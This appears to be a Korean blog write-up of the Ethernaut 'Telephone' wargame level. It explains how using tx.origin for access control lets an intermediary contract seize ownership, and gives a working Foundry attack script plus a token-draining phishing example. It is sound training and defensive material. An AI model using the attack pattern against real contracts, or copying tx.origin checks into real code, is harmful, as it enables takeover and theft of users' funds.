Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 |
Tags
- solidity
- Oracle Cloud
- syntax
- web3
- Ethererum
- ethereum
- soft fork
- Block
- ethernaut
- Smart contract
- libray
- chain reorganization
- Assembly
- EVM
- NaughtCoin
- approve
- byte code
- web assembly
- Coin
- ethereum virtual machine
- writeup
- hard fork
- secureum
- audit
- coin flip
- transaction
- TransferFrom
- Wargame
- openzepplin
- tx.origin
Archives
- Today
- Total
c0mpos3r
[Ethernaut] 04. Telephone WriteUp 본문
1. 문제 분석
While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.
An example of a possible attack is outlined below.
Use tx.origin to determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; }
Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable { token.transfer(attackerAddress, 10000); }
In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.
1. 이 예제는 간단 할 수 있지만, 혼란스러운 TX.Origin과 MSG.Sender는 이와 같은 피싱 스타일의 공격으로 이어질 수 있습니다. 가능한 공격의 예는 아래에 요약되어 있습니다. tx.origin을 사용하여 누가 전달할 토큰을 결정하십시오
2. 공격자는 토큰 계약의 양도 기능을 호출하는 악성 계약으로 자금을 보내도록 피해자가됩니다.
3. 이 시나리오에서 TX.origin은 피해자의 주소가 될 것입니다 (MSG.Sender는 악의적 인 계약의 주소가 될 것입니다).
1-1. code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
1-2. Contract 분석
상태 변수
- address owner public : 소유자 주소 보관
주요 함수
- constructor() → owner = msg.sender : 배포자 소유
- changeOwner(address _owner) public → if (tx.origin != msg.sender) owner = _owner : 직접 호출 차단 의도
2. Solving
접근제어에 tx.origin을 사용해 피싱/경유 호출에 취약,
onlyOwner 등 명시적 권한 검증이 없어 임의 주소로 소유권 변경 가능
- Attack Contract 배포
- 공격자 EOA로 pwn(attackerEOA) 호출(이때 tx.origin=EOA, msg.sender=Attack contract)
- 분기 만족으로 owner = attackerEOA 설정 완료
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Telephone} from "../src/Telephone.sol";
contract Attack {
address probAddr = 0xd937509354cD3fA005c48bB8a1b0f1ea5C2EB9A3;
function attack(address addr) public {
Telephone telePhoneContract = Telephone(probAddr);
telePhoneContract.changeOwner(addr);
console.log("msg.sender : %s", msg.sender);
console.log("tx.origin : %s", tx.origin);
console.log("Owner Addr : %s", telePhoneContract.owner());
}
}
contract CounterScript is Script {
function run() public {
vm.startBroadcast();
Attack a = new Attack();
a.attack(msg.sender);
vm.stopBroadcast();
}
}

3. 결론
권한 검증에 tx.origin을 사용하면 Malicious Contract 경유 호출로 손쉽게 우회되므로,
항상 msg.sender 기반의 명시적 접근제어(onlyOwner, 역할 기반 권한)를 사용해야 한다.
'Web3 > Hacking' 카테고리의 다른 글
| Web3 보안의 구조적 전환: 2026년, 우리는 무엇을 준비해야 하는가 (0) | 2026.02.20 |
|---|---|
| [Ethernaut] 03. Coin Flip WriteUp (0) | 2025.08.24 |
| [Ethernaut] 02. Fallout WriteUp (1) | 2025.08.24 |
| [Ethernaut] 01. Fallback WriteUp (0) | 2025.08.24 |
| [Ethernaut] 00. Hello Ethernaut WriteUp (0) | 2025.08.24 |